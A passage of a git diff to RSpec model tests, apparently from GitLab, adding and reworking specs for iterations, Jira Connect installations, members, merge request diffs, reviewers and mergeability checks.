+ context 'filtering by "all"' do
+ it_behaves_like 'filter_by_state' do
+ let(:state) { 'all' }
+ let(:expected_iterations) { [closed_iteration, started_iteration, upcoming_iteration] }
+ end
+ end
+
+ context 'filtering by nonexistent filter' do
+ it 'raises ArgumentError' do
+ expect { described_class.filter_by_state(Iteration.none, 'unknown') }.to raise_error(ArgumentError, 'Unknown state filter: unknown')
+ end
+ end
+ end
+
context 'Validations' do
subject { build(:iteration, group: group, start_date: start_date, due_date: due_date) }
diff --git a/spec/models/jira_connect_installation_spec.rb b/spec/models/jira_connect_installation_spec.rb
new file mode 100644
index 00000000000..8ef96114c45
--- /dev/null
+++ b/spec/models/jira_connect_installation_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnectInstallation do
+ describe 'associations' do
+ it { is_expected.to have_many(:subscriptions).class_name('JiraConnectSubscription') }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:client_key) }
+ it { is_expected.to validate_uniqueness_of(:client_key) }
+ it { is_expected.to validate_presence_of(:shared_secret) }
+ it { is_expected.to validate_presence_of(:base_url) }
+
+ it { is_expected.to allow_value('https://test.atlassian.net').for(:base_url) }
+ it { is_expected.not_to allow_value('not/a/url').for(:base_url) }
+ end
+
+ describe '.for_project' do
+ let(:other_group) { create(:group) }
+ let(:parent_group) { create(:group) }
+ let(:group) { create(:group, parent: parent_group) }
+ let(:project) { create(:project, group: group) }
+
+ subject { described_class.for_project(project) }
+
+ it 'returns installations with subscriptions for project' do
+ sub_on_project_namespace = create(:jira_connect_subscription, namespace: group)
+ sub_on_ancestor_namespace = create(:jira_connect_subscription, namespace: parent_group)
+
+ # Subscription on other group that shouldn't be returned
+ create(:jira_connect_subscription, namespace: other_group)
+
+ expect(subject).to contain_exactly(sub_on_project_namespace.installation, sub_on_ancestor_namespace.installation)
+ end
+
+ it 'returns distinct installations' do
+ subscription = create(:jira_connect_subscription, namespace: group)
+ create(:jira_connect_subscription, namespace: parent_group, installation: subscription.installation)
+
+ expect(subject).to contain_exactly(subscription.installation)
+ end
+ end
+end
diff --git a/spec/models/jira_connect_subscription_spec.rb b/spec/models/jira_connect_subscription_spec.rb
new file mode 100644
index 00000000000..548c030f4c4
--- /dev/null
+++ b/spec/models/jira_connect_subscription_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnectSubscription do
+ describe 'associations' do
+ it { is_expected.to belong_to(:installation).class_name('JiraConnectInstallation') }
+ it { is_expected.to belong_to(:namespace).class_name('Namespace') }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:installation) }
+ it { is_expected.to validate_presence_of(:namespace) }
+ end
+end
diff --git a/spec/models/member_spec.rb b/spec/models/member_spec.rb
index 52f47f0a211..39807747cc0 100644
--- a/spec/models/member_spec.rb
+++ b/spec/models/member_spec.rb
@@ -16,14 +16,14 @@ RSpec.describe Member do
it { is_expected.to validate_presence_of(:user) }
it { is_expected.to validate_presence_of(:source) }
- it { is_expected.to validate_inclusion_of(:access_level).in_array(Gitlab::Access.all_values) }
it_behaves_like 'an object with email-formated attributes', :invite_email do
subject { build(:project_member) }
end
context "when an invite email is provided" do
- let(:member) { build(:project_member, invite_email: "user@example.com", user: nil) }
+ let_it_be(:project) { create(:project) }
+ let(:member) { build(:project_member, source: project, invite_email: "user@example.com", user: nil) }
it "doesn't require a user" do
expect(member).to be_valid
@@ -149,6 +149,7 @@ RSpec.describe Member do
accepted_request_user = create(:user).tap { |u| project.request_access(u) }
@accepted_request_member = project.requesters.find_by(user_id: accepted_request_user.id).tap { |m| m.accept_request }
+ @member_with_minimal_access = create(:group_member, :minimal_access, source: group)
end
describe '.access_for_user_ids' do
@@ -179,6 +180,15 @@ RSpec.describe Member do
it { expect(described_class.non_invite).to include @accepted_request_member }
end
+ describe '.non_minimal_access' do
+ it { expect(described_class.non_minimal_access).to include @maintainer }
+ it { expect(described_class.non_minimal_access).to include @invited_member }
+ it { expect(described_class.non_minimal_access).to include @accepted_invite_member }
+ it { expect(described_class.non_minimal_access).to include @requested_member }
+ it { expect(described_class.non_minimal_access).to include @accepted_request_member }
+ it { expect(described_class.non_minimal_access).not_to include @member_with_minimal_access }
+ end
+
describe '.request' do
it { expect(described_class.request).not_to include @maintainer }
it { expect(described_class.request).not_to include @invited_member }
@@ -256,6 +266,34 @@ RSpec.describe Member do
it { is_expected.not_to include @blocked_maintainer }
it { is_expected.not_to include @blocked_developer }
end
+
+ describe '.active' do
+ subject { described_class.active.to_a }
+
+ it { is_expected.to include @owner }
+ it { is_expected.to include @maintainer }
+ it { is_expected.to include @invited_member }
+ it { is_expected.to include @accepted_invite_member }
+ it { is_expected.not_to include @requested_member }
+ it { is_expected.to include @accepted_request_member }
+ it { is_expected.not_to include @blocked_maintainer }
+ it { is_expected.not_to include @blocked_developer }
+ it { is_expected.not_to include @member_with_minimal_access }
+ end
+
+ describe '.active_without_invites_and_requests' do
+ subject { described_class.active_without_invites_and_requests.to_a }
+
+ it { is_expected.to include @owner }
+ it { is_expected.to include @maintainer }
+ it { is_expected.not_to include @invited_member }
+ it { is_expected.to include @accepted_invite_member }
+ it { is_expected.not_to include @requested_member }
+ it { is_expected.to include @accepted_request_member }
+ it { is_expected.not_to include @blocked_maintainer }
+ it { is_expected.not_to include @blocked_developer }
+ it { is_expected.not_to include @member_with_minimal_access }
+ end
end
describe "Delegate methods" do
@@ -630,6 +668,32 @@ RSpec.describe Member do
end
end
+ describe '.find_by_invite_token' do
+ let!(:member) { create(:project_member, invite_email: "user@example.com", user: nil) }
+
+ it 'finds the member' do
+ expect(described_class.find_by_invite_token(member.raw_invite_token)).to eq member
+ end
+ end
+
+ describe "#invite_to_unknown_user?" do
+ subject { member.invite_to_unknown_user? }
+
+ let(:member) { create(:project_member, invite_email: "user@example.com", invite_token: '1234', user: user) }
+
+ context 'when user is nil' do
+ let(:user) { nil }
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when user is set' do
+ let(:user) { build(:user) }
+
+ it { is_expected.to eq(false) }
+ end
+ end
+
describe "destroying a record", :delete do
it "refreshes user's authorized projects" do
project = create(:project, :private)
@@ -655,7 +719,7 @@ RSpec.describe Member do
describe 'create member' do
let!(:source) { create(source_type) }
- subject { create(member_type, :guest, user: user, source_type => source) }
+ subject { create(member_type, :guest, user: user, source: source) }
include_examples 'update highest role with exclusive lease'
end
diff --git a/spec/models/merge_request/metrics_spec.rb b/spec/models/merge_request/metrics_spec.rb
index 82402b95597..760eaf1ac7f 100644
--- a/spec/models/merge_request/metrics_spec.rb
+++ b/spec/models/merge_request/metrics_spec.rb
@@ -9,17 +9,6 @@ RSpec.describe MergeRequest::Metrics do
it { is_expected.to belong_to(:merged_by).class_name('User') }
end
- it 'sets `target_project_id` before save' do
- merge_request = create(:merge_request)
- metrics = merge_request.metrics
-
- metrics.update_column(:target_project_id, nil)
-
- metrics.save!
-
- expect(metrics.target_project_id).to eq(merge_request.target_project_id)
- end
-
describe 'scopes' do
let_it_be(:metrics_1) { create(:merge_request).metrics.tap { |m| m.update!(merged_at: 10.days.ago) } }
let_it_be(:metrics_2) { create(:merge_request).metrics.tap { |m| m.update!(merged_at: 5.days.ago) } }
diff --git a/spec/models/merge_request_diff_commit_spec.rb b/spec/models/merge_request_diff_commit_spec.rb
index 84fdfae1ed1..2edf44ecdc4 100644
--- a/spec/models/merge_request_diff_commit_spec.rb
+++ b/spec/models/merge_request_diff_commit_spec.rb
@@ -7,7 +7,12 @@ RSpec.describe MergeRequestDiffCommit do
let(:project) { merge_request.project }
it_behaves_like 'a BulkInsertSafe model', MergeRequestDiffCommit do
- let(:valid_items_for_bulk_insertion) { build_list(:merge_request_diff_commit, 10) }
+ let(:valid_items_for_bulk_insertion) do
+ build_list(:merge_request_diff_commit, 10) do |mr_diff_commit|
+ mr_diff_commit.merge_request_diff = create(:merge_request_diff)
+ end
+ end
+
let(:invalid_items_for_bulk_insertion) { [] } # class does not have any validations defined
end
diff --git a/spec/models/merge_request_diff_file_spec.rb b/spec/models/merge_request_diff_file_spec.rb
index 25971f63338..5a48438adab 100644
--- a/spec/models/merge_request_diff_file_spec.rb
+++ b/spec/models/merge_request_diff_file_spec.rb
@@ -4,7 +4,12 @@ require 'spec_helper'
RSpec.describe MergeRequestDiffFile do
it_behaves_like 'a BulkInsertSafe model', MergeRequestDiffFile do
- let(:valid_items_for_bulk_insertion) { build_list(:merge_request_diff_file, 10) }
+ let(:valid_items_for_bulk_insertion) do
+ build_list(:merge_request_diff_file, 10) do |mr_diff_file|
+ mr_diff_file.merge_request_diff = create(:merge_request_diff)
+ end
+ end
+
let(:invalid_items_for_bulk_insertion) { [] } # class does not have any validations defined
end
@@ -25,6 +30,14 @@ RSpec.describe MergeRequestDiffFile do
it 'unpacks from base 64' do
expect(subject.diff).to eq(unpacked)
end
+
+ context 'invalid base64' do
+ let(:packed) { '---/dev/null' }
+
+ it 'returns the raw diff' do
+ expect(subject.diff).to eq(packed)
+ end
+ end
end
context 'when the diff is not marked as binary' do
diff --git a/spec/models/merge_request_diff_spec.rb b/spec/models/merge_request_diff_spec.rb
index e02c71a1c6f..2c64201e84d 100644
--- a/spec/models/merge_request_diff_spec.rb
+++ b/spec/models/merge_request_diff_spec.rb
@@ -293,6 +293,7 @@ RSpec.describe MergeRequestDiff do
it 'does nothing with an empty diff' do
stub_external_diffs_setting(enabled: true)
MergeRequestDiffFile.where(merge_request_diff_id: diff.id).delete_all
+ diff.save! # update files_count
expect(diff).not_to receive(:update!)
@@ -675,8 +676,39 @@ RSpec.describe MergeRequestDiff do
end
describe '#files_count' do
- it 'returns number of diff files' do
- expect(diff_with_commits.files_count).to eq(diff_with_commits.merge_request_diff_files.count)
+ let_it_be(:merge_request) { create(:merge_request) }
+
+ let(:diff) { merge_request.merge_request_diff }
+ let(:actual_count) { diff.merge_request_diff_files.count }
+
+ it 'is set by default' do
+ expect(diff.read_attribute(:files_count)).to eq(actual_count)
+ end
+
+ it 'is set to the sentinel value if the actual value exceeds it' do
+ stub_const("#{described_class}::FILES_COUNT_SENTINEL", actual_count - 1)
+
+ diff.save! # update the files_count column with the stub in place
+
+ expect(diff.read_attribute(:files_count)).to eq(described_class::FILES_COUNT_SENTINEL)
+ end
+
+ it 'uses the cached count if present' do
+ diff.update_columns(files_count: actual_count + 1)
+
+ expect(diff.files_count).to eq(actual_count + 1)
+ end
+
+ it 'uses the actual count if nil' do
+ diff.update_columns(files_count: nil)
+
+ expect(diff.files_count).to eq(actual_count)
+ end
+
+ it 'uses the actual count if overflown' do
+ diff.update_columns(files_count: described_class::FILES_COUNT_SENTINEL)
+
+ expect(diff.files_count).to eq(actual_count)
end
end
diff --git a/spec/models/merge_request_reviewer_spec.rb b/spec/models/merge_request_reviewer_spec.rb
new file mode 100644
index 00000000000..55199cd96ad
--- /dev/null
+++ b/spec/models/merge_request_reviewer_spec.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequestReviewer do
+ let(:merge_request) { create(:merge_request) }
+
+ subject { merge_request.merge_request_reviewers.build(reviewer: create(:user)) }
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:merge_request).class_name('MergeRequest') }
+ it { is_expected.to belong_to(:reviewer).class_name('User') }
+ end
+end
diff --git a/spec/models/merge_request_spec.rb b/spec/models/merge_request_spec.rb
index 6edef54b153..98f709a0610 100644
--- a/spec/models/merge_request_spec.rb
+++ b/spec/models/merge_request_spec.rb
@@ -2,13 +2,16 @@
require 'spec_helper'
-RSpec.describe MergeRequest do
+RSpec.describe MergeRequest, factory_default: :keep do
include RepoHelpers
include ProjectForksHelper
include ReactiveCachingHelpers
using RSpec::Parameterized::TableSyntax
+ let_it_be(:namespace) { create_default(:namespace) }
+ let_it_be(:project, refind: true) { create_default(:project, :repository) }
+
subject { create(:merge_request) }
describe 'associations' do
@@ -18,6 +21,7 @@ RSpec.describe MergeRequest do
it { is_expected.to belong_to(:source_project).class_name('Project') }
it { is_expected.to belong_to(:merge_user).class_name("User") }
it { is_expected.to have_many(:assignees).through(:merge_request_assignees) }
+ it { is_expected.to have_many(:reviewers).through(:merge_request_reviewers) }
it { is_expected.to have_many(:merge_request_diffs) }
it { is_expected.to have_many(:user_mentions).class_name("MergeRequestUserMention") }
it { is_expected.to belong_to(:milestone) }
@@ -57,6 +61,24 @@ RSpec.describe MergeRequest do
end
end
+ describe '.order_merged_at_asc' do
+ let_it_be(:older_mr) { create(:merge_request, :with_merged_metrics) }
+ let_it_be(:newer_mr) { create(:merge_request, :with_merged_metrics) }
+
+ it 'returns MRs ordered by merged_at ascending' do
+ expect(described_class.order_merged_at_asc).to eq([older_mr, newer_mr])
+ end
+ end
+
+ describe '.order_merged_at_desc' do
+ let_it_be(:older_mr) { create(:merge_request, :with_merged_metrics) }
+ let_it_be(:newer_mr) { create(:merge_request, :with_merged_metrics) }
+
+ it 'returns MRs ordered by merged_at descending' do
+ expect(described_class.order_merged_at_desc).to eq([newer_mr, older_mr])
+ end
+ end
+
describe '#squash_in_progress?' do
let(:repo_path) do
Gitlab::GitalyClient::StorageSettings.allow_disk_access do
@@ -282,18 +304,6 @@ RSpec.describe MergeRequest do
expect(merge_request.target_project_id).to eq(project.id)
expect(merge_request.target_project_id).to eq(merge_request.metrics.target_project_id)
end
-
- context 'when metrics record already exists with NULL target_project_id' do
- before do
- merge_request.metrics.update_column(:target_project_id, nil)
- end
-
- it 'returns the metrics record' do
- metrics_record = merge_request.ensure_metrics
-
- expect(metrics_record).to be_persisted
- end
- end
end
end
@@ -359,7 +369,7 @@ RSpec.describe MergeRequest do
it 'returns merge requests that match the given merge commit' do
note = create(:track_mr_picking_note, commit_id: '456abc')
- create(:track_mr_picking_note, commit_id: '456def')
+ create(:track_mr_picking_note, project: create(:project), commit_id: '456def')
expect(described_class.by_cherry_pick_sha('456abc')).to eq([note.noteable])
end
@@ -427,6 +437,23 @@ RSpec.describe MergeRequest do
end
end
+ describe '.sort_by_attribute' do
+ context 'merged_at' do
+ let_it_be(:older_mr) { create(:merge_request, :with_merged_metrics) }
+ let_it_be(:newer_mr) { create(:merge_request, :with_merged_metrics) }
+
+ it 'sorts asc' do
+ merge_requests = described_class.sort_by_attribute(:merged_at_asc)
+ expect(merge_requests).to eq([older_mr, newer_mr])
+ end
+
+ it 'sorts desc' do
+ merge_requests = described_class.sort_by_attribute(:merged_at_desc)
+ expect(merge_requests).to eq([newer_mr, older_mr])
+ end
+ end
+ end
+
describe '#target_branch_sha' do
let(:project) { create(:project, :repository) }
@@ -831,7 +858,7 @@ RSpec.describe MergeRequest do
end
context 'with commit diff note' do
- let(:other_merge_request) { create(:merge_request) }
+ let(:other_merge_request) { create(:merge_request, source_project: create(:project, :repository)) }
let!(:diff_note) do
create(:diff_note_on_commit, project: merge_request.project)
@@ -854,8 +881,10 @@ RSpec.describe MergeRequest do
end
describe '#diff_size' do
+ let_it_be(:project) { create(:project, :repository) }
+
let(:merge_request) do
- build(:merge_request, source_branch: 'expand-collapse-files', target_branch: 'master')
+ build(:merge_request, source_project: project, source_branch: 'expand-collapse-files', target_branch: 'master')
end
context 'when there are MR diffs' do
@@ -1030,6 +1059,8 @@ RSpec.describe MergeRequest do
end
describe '#closes_issues' do
+ let(:project) { create(:project) }
+
let(:issue0) { create :issue, project: subject.project }
let(:issue1) { create :issue, project: subject.project }
@@ -1037,6 +1068,8 @@ RSpec.describe MergeRequest do
let(:commit1) { double('commit1', safe_message: "Fixes #{issue0.to_reference}") }
let(:commit2) { double('commit2', safe_message: "Fixes #{issue1.to_reference}") }
+ subject { create(:merge_request, source_project: project) }
+
before do
subject.project.add_developer(subject.author)
allow(subject).to receive(:commits).and_return([commit0, commit1, commit2])
@@ -1087,6 +1120,8 @@ RSpec.describe MergeRequest do
end
context 'when the project has an external issue tracker' do
+ subject { create(:merge_request, source_project: create(:project, :repository)) }
+
before do
subject.project.add_developer(subject.author)
commit = double(:commit, safe_message: 'Fixes TEST-3')
@@ -1253,14 +1288,13 @@ RSpec.describe MergeRequest do
end
describe "#source_branch_exists?" do
- let(:merge_request) { subject }
+ let(:project) { create(:project, :repository) }
+ let(:merge_request) { create(:merge_request, source_project: project) }
let(:repository) { merge_request.source_project.repository }
context 'when the source project is set' do
- it 'memoizes the value and returns the result' do
- expect(repository).to receive(:branch_exists?).once.with(merge_request.source_branch).and_return(true)
-
- 2.times { expect(merge_request.source_branch_exists?).to eq(true) }
+ it 'returns true when the branch exists' do
+ expect(merge_request.source_branch_exists?).to eq(true)
end
end
@@ -1480,7 +1514,9 @@ RSpec.describe MergeRequest do
end
context 'new merge request' do
- subject { build(:merge_request) }
+ let_it_be(:project) { create(:project, :repository) }
+
+ subject { build(:merge_request, source_project: project) }
context 'compare commits' do
before do
@@ -1575,11 +1611,36 @@ RSpec.describe MergeRequest do
before do
subject.mark_as_merged!
- subject.update_attribute(:merge_commit_sha, pipeline.sha)
end
- it 'returns the post-merge pipeline' do
- expect(subject.merge_pipeline).to eq(pipeline)
+ context 'and there is a merge commit' do
+ before do
+ subject.update_attribute(:merge_commit_sha, pipeline.sha)
+ end
+
+ it 'returns the pipeline associated with that merge request' do
+ expect(subject.merge_pipeline).to eq(pipeline)
+ end
+ end
+
+ context 'and there is no merge commit, but there is a diff head' do
+ before do
+ allow(subject).to receive(:diff_head_sha).and_return(pipeline.sha)
+ end
+
+ it 'returns the pipeline associated with that merge request' do
+ expect(subject.merge_pipeline).to eq(pipeline)
+ end
+ end
+
+ context 'and there is no merge commit, but there is a squash commit' do
+ before do
+ subject.update_attribute(:squash_commit_sha, pipeline.sha)
+ end
+
+ it 'returns the pipeline associated with that merge request' do
+ expect(subject.merge_pipeline).to eq(pipeline)
+ end
end
end
end
@@ -1706,16 +1767,14 @@ RSpec.describe MergeRequest do
describe '#has_test_reports?' do
subject { merge_request.has_test_reports? }
- let(:project) { create(:project, :repository) }
-
context 'when head pipeline has test reports' do
- let(:merge_request) { create(:merge_request, :with_test_reports, source_project: project) }
+ let(:merge_request) { create(:merge_request, :with_test_reports) }
it { is_expected.to be_truthy }
end
context 'when head pipeline does not have test reports' do
- let(:merge_request) { create(:merge_request, source_project: project) }
+ let(:merge_request) { create(:merge_request) }
it { is_expected.to be_falsey }
end
@@ -1724,16 +1783,14 @@ RSpec.describe MergeRequest do
describe '#has_accessibility_reports?' do
subject { merge_request.has_accessibility_reports? }
- let(:project) { create(:project, :repository) }
-
context 'when head pipeline has an accessibility reports' do
- let(:merge_request) { create(:merge_request, :with_accessibility_reports, source_project: project) }
+ let(:merge_request) { create(:merge_request, :with_accessibility_reports) }
it { is_expected.to be_truthy }
end
context 'when head pipeline does not have accessibility reports' do
- let(:merge_request) { create(:merge_request, source_project: project) }
+ let(:merge_request) { create(:merge_request) }
it { is_expected.to be_falsey }
end
@@ -1742,27 +1799,23 @@ RSpec.describe MergeRequest do
describe '#has_coverage_reports?' do
subject { merge_request.has_coverage_reports? }
- let(:project) { create(:project, :repository) }
-
context 'when head pipeline has coverage reports' do
- let(:merge_request) { create(:merge_request, :with_coverage_reports, source_project: project) }
+ let(:merge_request) { create(:merge_request, :with_coverage_reports) }
it { is_expected.to be_truthy }
end
context 'when head pipeline does not have coverage reports' do
- let(:merge_request) { create(:merge_request, source_project: project) }
+ let(:merge_request) { create(:merge_request) }
it { is_expected.to be_falsey }
end
end
describe '#has_terraform_reports?' do
- let_it_be(:project) { create(:project, :repository) }
-
context 'when head pipeline has terraform reports' do
it 'returns true' do
- merge_request = create(:merge_request, :with_terraform_reports, source_project: project)
+ merge_request = create(:merge_request, :with_terraform_reports)
expect(merge_request.has_terraform_reports?).to be_truthy
end
@@ -1770,7 +1823,7 @@ RSpec.describe MergeRequest do
context 'when head pipeline does not have terraform reports' do
it 'returns false' do
- merge_request = create(:merge_request, source_project: project)
+ merge_request = create(:merge_request)
expect(merge_request.has_terraform_reports?).to be_falsey
end
@@ -1778,8 +1831,7 @@ RSpec.describe MergeRequest do
end
describe '#calculate_reactive_cache' do
- let(:project) { create(:project, :repository) }
- let(:merge_request) { create(:merge_request, source_project: project) }
+ let(:merge_request) { create(:merge_request) }
subject { merge_request.calculate_reactive_cache(service_class_name) }
@@ -1867,12 +1919,6 @@ RSpec.describe MergeRequest do
subject { merge_request.find_coverage_reports }
context 'when head pipeline has coverage reports' do
- let!(:job) do
- create(:ci_build, options: { artifacts: { reports: { cobertura: ['cobertura-coverage.xml'] } } }, pipeline: pipeline)
- end
-
- let!(:artifacts_metadata) { create(:ci_job_artifact, :metadata, job: job) }
-
context 'when reactive cache worker is parsing results asynchronously' do
it 'returns status' do
expect(subject[:status]).to eq(:parsing)
@@ -2074,11 +2120,13 @@ RSpec.describe MergeRequest do
end
context 'when merge request is not persisted' do
+ let_it_be(:project) { create(:project, :repository) }
+
context 'when compare commits are set in the service' do
let(:commit) { spy('commit') }
subject do
- build(:merge_request, compare_commits: [commit, commit])
+ build(:merge_request, source_project: project, compare_commits: [commit, commit])
end
it 'returns commits from compare commits temporary data' do
@@ -2087,7 +2135,7 @@ RSpec.describe MergeRequest do
end
context 'when compare commits are not set in the service' do
- subject { build(:merge_request) }
+ subject { build(:merge_request, source_project: project) }
it 'returns array with diff head sha element only' do
expect(subject.all_commit_shas).to eq [subject.diff_head_sha]
@@ -2112,7 +2160,63 @@ RSpec.describe MergeRequest do
end
end
+ describe '#merged_commit_sha' do
+ it 'returns nil when not merged' do
+ expect(subject.merged_commit_sha).to be_nil
+ end
+
+ context 'when the MR is merged' do
+ let(:sha) { 'f7ce827c314c9340b075657fd61c789fb01cf74d' }
+
+ before do
+ subject.mark_as_merged!
+ end
+
+ it 'returns merge_commit_sha when there is a merge_commit_sha' do
+ subject.update_attribute(:merge_commit_sha, sha)
+
+ expect(subject.merged_commit_sha).to eq(sha)
+ end
+
+ it 'returns squash_commit_sha when there is a squash_commit_sha' do
+ subject.update_attribute(:squash_commit_sha, sha)
+
+ expect(subject.merged_commit_sha).to eq(sha)
+ end
+
+ it 'returns diff_head_sha when there are no merge_commit_sha and squash_commit_sha' do
+ allow(subject).to receive(:diff_head_sha).and_return(sha)
+
+ expect(subject.merged_commit_sha).to eq(sha)
+ end
+ end
+ end
+
+ describe '#short_merged_commit_sha' do
+ context 'when merged_commit_sha is nil' do
+ before do
+ allow(subject).to receive(:merged_commit_sha).and_return(nil)
+ end
+
+ it 'returns nil' do
+ expect(subject.short_merged_commit_sha).to be_nil
+ end
+ end
+
+ context 'when merged_commit_sha is present' do
+ before do
+ allow(subject).to receive(:merged_commit_sha).and_return('f7ce827c314c9340b075657fd61c789fb01cf74d')
+ end
+
+ it 'returns shortened merged_commit_sha' do
+ expect(subject.short_merged_commit_sha).to eq('f7ce827c')
+ end
+ end
+ end
+
describe '#can_be_reverted?' do
+ subject { create(:merge_request, source_project: create(:project, :repository)) }
+
context 'when there is no merge_commit for the MR' do
before do
subject.metrics.update!(merged_at: Time.current.utc)
@@ -2301,8 +2405,6 @@ RSpec.describe MergeRequest do
end
describe '#participants' do
- let(:project) { create(:project, :public) }
-
let(:mr) do
create(:merge_request, source_project: project, target_project: project)
end
@@ -2410,9 +2512,7 @@ RSpec.describe MergeRequest do
end
describe '#mergeable?' do
- let(:project) { create(:project) }
-
- subject { create(:merge_request, source_project: project) }
+ subject { build_stubbed(:merge_request) }
it 'returns false if #mergeable_state? is false' do
expect(subject).to receive(:mergeable_state?) { false }
@@ -2427,6 +2527,57 @@ RSpec.describe MergeRequest do
expect(subject.mergeable?).to be_truthy
end
+
+ context 'with skip_ci_check option' do
+ using RSpec::Parameterized::TableSyntax
+
+ before do
+ allow(subject).to receive_messages(check_mergeability: nil,
+ can_be_merged?: true,
+ broken?: false)
+ end
+
+ where(:mergeable_ci_state, :skip_ci_check, :expected_mergeable) do
+ false | false | false
+ false | true | true
+ true | false | true
+ true | true | true
+ end
+
+ with_them do
+ it 'overrides mergeable_ci_state?' do
+ allow(subject).to receive(:mergeable_ci_state?) { mergeable_ci_state }
+
+ expect(subject.mergeable?(skip_ci_check: skip_ci_check)).to eq(expected_mergeable)
+ end
+ end
+ end
+
+ context 'with skip_discussions_check option' do
+ using RSpec::Parameterized::TableSyntax
+
+ before do
+ allow(subject).to receive_messages(mergeable_ci_state?: true,
+ check_mergeability: nil,
+ can_be_merged?: true,
+ broken?: false)
+ end
+
+ where(:mergeable_discussions_state, :skip_discussions_check, :expected_mergeable) do
+ false | false | false
+ false | true | true
+ true | false | true
+ true | true | true
+ end
+
+ with_them do
+ it 'overrides mergeable_discussions_state?' do
+ allow(subject).to receive(:mergeable_discussions_state?) { mergeable_discussions_state }
+
+ expect(subject.mergeable?(skip_discussions_check: skip_discussions_check)).to eq(expected_mergeable)
+ end
+ end
+ end
end
describe '#check_mergeability' do
@@ -2482,9 +2633,7 @@ RSpec.describe MergeRequest do
end
describe '#mergeable_state?' do
- let(:project) { create(:project, :repository) }
-
- subject { create(:merge_request, source_project: project) }
+ subject { create(:merge_request) }
it 'checks if merge request can be merged' do
allow(subject).to receive(:mergeable_ci_state?) { true }
@@ -2532,6 +2681,10 @@ RSpec.describe MergeRequest do
it 'returns false' do
expect(subject.mergeable_state?).to be_falsey
end
+
+ it 'returns true when skipping ci check' do
+ expect(subject.mergeable_state?(skip_ci_check: true)).to be(true)
+ end
end
context 'when #mergeable_discussions_state? is false' do
@@ -2599,9 +2752,9 @@ RSpec.describe MergeRequest do
let(:pipeline) { create(:ci_empty_pipeline) }
context 'when it is only allowed to merge when build is green' do
- let(:project) { create(:project, only_allow_merge_if_pipeline_succeeds: true) }
+ let_it_be(:project) { create(:project, :repository, only_allow_merge_if_pipeline_succeeds: true) }
- subject { build(:merge_request, target_project: project) }
+ subject { build(:merge_request, source_project: project) }
context 'and a failed pipeline is associated' do
before do
@@ -2640,9 +2793,9 @@ RSpec.describe MergeRequest do
end
context 'when it is only allowed to merge when build is green or skipped' do
- let(:project) { create(:project, only_allow_merge_if_pipeline_succeeds: true, allow_merge_on_skipped_pipeline: true) }
+ let_it_be(:project) { create(:project, :repository, only_allow_merge_if_pipeline_succeeds: true, allow_merge_on_skipped_pipeline: true) }
- subject { build(:merge_request, target_project: project) }
+ subject { build(:merge_request, source_project: project) }
context 'and a failed pipeline is associated' do
before do
@@ -2681,9 +2834,9 @@ RSpec.describe MergeRequest do
end
context 'when merges are not restricted to green builds' do
- let(:project) { create(:project, only_allow_merge_if_pipeline_succeeds: false) }
+ let_it_be(:project) { create(:project, :repository, only_allow_merge_if_pipeline_succeeds: false) }
- subject { build(:merge_request, target_project: project) }
+ subject { build(:merge_request, source_project: project) }
context 'and a failed pipeline is associated' do
before do
@@ -2725,7 +2878,7 @@ RSpec.describe MergeRequest do
let(:merge_request) { create(:merge_request_with_diff_notes, source_project: project) }
context 'when project.only_allow_merge_if_all_discussions_are_resolved == true' do
- let(:project) { create(:project, :repository, only_allow_merge_if_all_discussions_are_resolved: true) }
+ let_it_be(:project) { create(:project, :repository, only_allow_merge_if_all_discussions_are_resolved: true) }
context 'with all discussions resolved' do
before do
@@ -2974,6 +3127,10 @@ RSpec.describe MergeRequest do
end
describe '#branch_merge_base_commit' do
+ let(:project) { create(:project, :repository) }
+
+ subject { create(:merge_request, :with_diffs, source_project: project) }
+
context 'source and target branch exist' do
it { expect(subject.branch_merge_base_commit.sha).to eq('ae73cb07c9eeaf35924a10f713b364d32b2dd34f') }
it { expect(subject.branch_merge_base_commit).to be_a(Commit) }
@@ -2993,7 +3150,9 @@ RSpec.describe MergeRequest do
describe "#diff_refs" do
context "with diffs" do
- subject { create(:merge_request, :with_diffs) }
+ let(:project) { create(:project, :repository) }
+
+ subject { create(:merge_request, :with_diffs, source_project: project) }
let(:expected_diff_refs) do
Gitlab::Diff::DiffRefs.new(
@@ -3195,7 +3354,8 @@ RSpec.describe MergeRequest do
pipeline
end
- let(:project) { create(:project, :public, :repository, only_allow_merge_if_pipeline_succeeds: true) }
+ let_it_be(:project) { create(:project, :public, :repository, only_allow_merge_if_pipeline_succeeds: true) }
+
let(:developer) { create(:user) }
let(:user) { create(:user) }
let(:merge_request) { create(:merge_request, source_project: project) }
@@ -3289,8 +3449,7 @@ RSpec.describe MergeRequest do
end
describe '#pipeline_coverage_delta' do
- let!(:project) { create(:project, :repository) }
- let!(:merge_request) { create(:merge_request, source_project: project) }
+ let!(:merge_request) { create(:merge_request) }
let!(:source_pipeline) do
create(:ci_pipeline,
@@ -3396,7 +3555,9 @@ RSpec.describe MergeRequest do
end
describe '#merge_request_diff_for' do
- subject { create(:merge_request, importing: true) }
+ let(:project) { create(:project, :repository) }
+
+ subject { create(:merge_request, importing: true, source_project: project) }
let!(:merge_request_diff1) { subject.merge_request_diffs.create(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9') }
let!(:merge_request_diff2) { subject.merge_request_diffs.create(head_commit_sha: nil) }
@@ -3427,9 +3588,10 @@ RSpec.describe MergeRequest do
end
describe '#version_params_for' do
- subject { create(:merge_request, importing: true) }
+ let(:project) { create(:project, :repository) }
+
+ subject { create(:merge_request, importing: true, source_project: project) }
- let(:project) { subject.project }
let!(:merge_request_diff1) { subject.merge_request_diffs.create(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9') }
let!(:merge_request_diff2) { subject.merge_request_diffs.create(head_commit_sha: nil) }
let!(:merge_request_diff3) { subject.merge_request_diffs.create(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e') }
@@ -3460,6 +3622,10 @@ RSpec.describe MergeRequest do
end
describe '#fetch_ref!' do
